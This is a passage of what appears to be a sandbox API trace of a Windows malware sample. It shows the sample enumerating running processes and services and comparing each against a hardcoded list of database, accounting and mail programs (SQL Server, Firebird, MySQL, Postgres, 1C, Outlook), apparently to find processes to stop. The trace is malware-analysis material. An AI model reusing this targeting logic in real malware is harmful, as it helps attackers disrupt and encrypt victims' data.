lstrlenW (lpString="userinit.exe") returned 12 [0260.759] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.759] lstrlenW (lpString="dwm.exe") returned 7 [0260.759] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.759] lstrlenW (lpString="explorer.exe") returned 12 [0260.760] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.760] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.760] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.760] lstrlenW (lpString="taskhost.exe") returned 12 [0260.760] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.760] lstrlenW (lpString="svchost.exe") returned 11 [0260.760] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0260.761] lstrlenW (lpString="chrome64b.exe") returned 13 [0260.761] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.761] lstrlenW (lpString="reader_sl.exe") returned 13 [0260.761] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.761] lstrlenW (lpString="dllhost.exe") returned 11 [0260.761] Process32NextW (in: hSnapshot=0x3b4, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0260.761] CloseHandle (hObject=0x3b4) returned 1 [0260.761] Sleep (dwMilliseconds=0x1f4) [0261.666] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45447c0 [0261.762] EnumServicesStatusExW (in: hSCManager=0x45447c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0261.763] GetLastError () returned 0xea [0261.763] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe3c) returned 0x454b168 [0261.763] EnumServicesStatusExW (in: hSCManager=0x45447c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xe3c, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0261.764] CloseServiceHandle (hSCObject=0x45447c0) returned 1 [0261.767] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.767] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.767] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.767] lstrlenW (lpString="AudioSrv") returned 8 [0261.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0261.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0261.767] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0261.767] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0261.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0261.767] lstrlenW (lpString="BFE") returned 3 [0261.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.767] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.767] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.767] lstrlenW (lpString="CryptSvc") returned 8 [0261.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.767] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.767] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.767] lstrlenW (lpString="CscService") returned 10 [0261.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0261.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0261.767] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0261.767] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0261.768] lstrlenW (lpString="DcomLaunch") returned 10 [0261.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.768] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.768] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.768] lstrlenW (lpString="Dhcp") returned 4 [0261.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.768] lstrlenW (lpString="Dnscache") returned 8 [0261.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.768] lstrlenW (lpString="DPS") returned 3 [0261.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.768] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.768] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.768] lstrlenW (lpString="eventlog") returned 8 [0261.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0261.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0261.768] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0261.768] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0261.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0261.768] lstrlenW (lpString="EventSystem") returned 11 [0261.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.769] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.769] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.769] lstrlenW (lpString="gpsvc") returned 5 [0261.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.769] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.769] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.769] lstrlenW (lpString="iphlpsvc") returned 8 [0261.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.769] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.769] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.769] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.769] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.769] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.769] lstrlenW (lpString="lmhosts") returned 7 [0261.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.769] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.769] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.769] lstrlenW (lpString="MMCSS") returned 5 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0261.770] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0261.770] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0261.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0261.770] lstrlenW (lpString="MpsSvc") returned 6 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.770] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.770] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.770] lstrlenW (lpString="NlaSvc") returned 6 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.770] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.770] lstrlenW (lpString="nsi") returned 3 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.770] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.770] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.770] lstrlenW (lpString="PcaSvc") returned 6 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.770] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.770] lstrlenW (lpString="PlugPlay") returned 8 [0261.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.771] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.771] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.771] lstrlenW (lpString="Power") returned 5 [0261.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.771] lstrlenW (lpString="ProfSvc") returned 7 [0261.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.771] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.771] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.771] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.771] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.771] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.771] lstrlenW (lpString="RpcSs") returned 5 [0261.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.771] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.771] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.771] lstrlenW (lpString="SamSs") returned 5 [0261.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.772] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.772] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.772] lstrlenW (lpString="Schedule") returned 8 [0261.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.772] lstrlenW (lpString="SENS") returned 4 [0261.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.772] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.772] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.772] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.772] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.772] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.772] lstrlenW (lpString="Spooler") returned 7 [0261.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.773] lstrlenW (lpString="SysMain") returned 7 [0261.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.773] lstrlenW (lpString="Themes") returned 6 [0261.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.773] lstrlenW (lpString="TrkWks") returned 6 [0261.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0261.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0261.773] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0261.773] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0261.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0261.773] lstrlenW (lpString="UxSms") returned 5 [0261.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0261.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0261.773] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0261.773] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0261.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0261.773] lstrlenW (lpString="Winmgmt") returned 7 [0261.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0261.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0261.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0261.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0261.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0261.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0261.774] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0261.774] Process32FirstW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.775] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.775] lstrlenW (lpString="System") returned 6 [0261.775] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0261.775] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0261.776] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.776] lstrlenW (lpString="smss.exe") returned 8 [0261.776] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0261.776] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.776] lstrlenW (lpString="csrss.exe") returned 9 [0261.776] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.776] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.776] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.776] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.776] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.776] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.776] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.777] lstrlenW (lpString="wininit.exe") returned 11 [0261.777] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0261.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0261.777] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.777] lstrlenW (lpString="csrss.exe") returned 9 [0261.777] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.777] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.777] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.777] Process32NextW (in: hSnapshot=0x398, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.778] lstrlenW (lpString="winlogon.exe") returned 12 [0261.778] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0261.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0261.778] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 